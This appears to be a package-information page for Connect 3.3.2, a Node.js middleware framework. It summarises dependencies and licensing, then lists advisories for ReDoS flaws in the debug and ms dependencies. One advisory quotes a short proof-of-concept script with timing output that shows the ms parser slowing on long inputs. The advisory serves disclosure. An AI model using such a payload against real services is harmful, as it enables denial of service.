Connect 3.3.2 represents a minor version update to the popular high-performance middleware framework for Node.js, building upon the foundation laid by version 3.3.1. While the core dependencies remain identical – encompassing essential components like debug for enhanced logging, finalhandler for streamlined error handling, parseurl for efficient URL parsing, and utils-merge for utility functions – the subtle shift from 3.3.1 signifies an incremental improvement. Both versions share the same development dependencies, indicating a consistent testing and code quality maintenance approach using tools like istanbul for code coverage, mocha for unit testing, should for assertions, and supertest for HTTP testing. This reassures developers of ongoing commitment to stability and reliability.
The MIT license continues to provide developers with flexibility and freedom in utilizing the Connect framework, with the source code residing in the established Sencha Labs GitHub repository. Both versions credit TJ Holowaychuk as the author, solidifying the provenance of the project. The key differentiator lies in the release date: 3.3.2 was published on October 29, 2014, a few days after 3.3.1's release on October 23, 2014. For developers, this implies that version 3.3.2 likely addresses minor bug fixes, performance tweaks, or security patches discovered shortly after the release of 3.3.1. While the precise nature of these changes might require deeper investigation of the commit history, upgrading to 3.3.2 is generally recommended to benefit from the latest improvements.
All the vulnerabilities related to the version 3.3.2 of the package
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.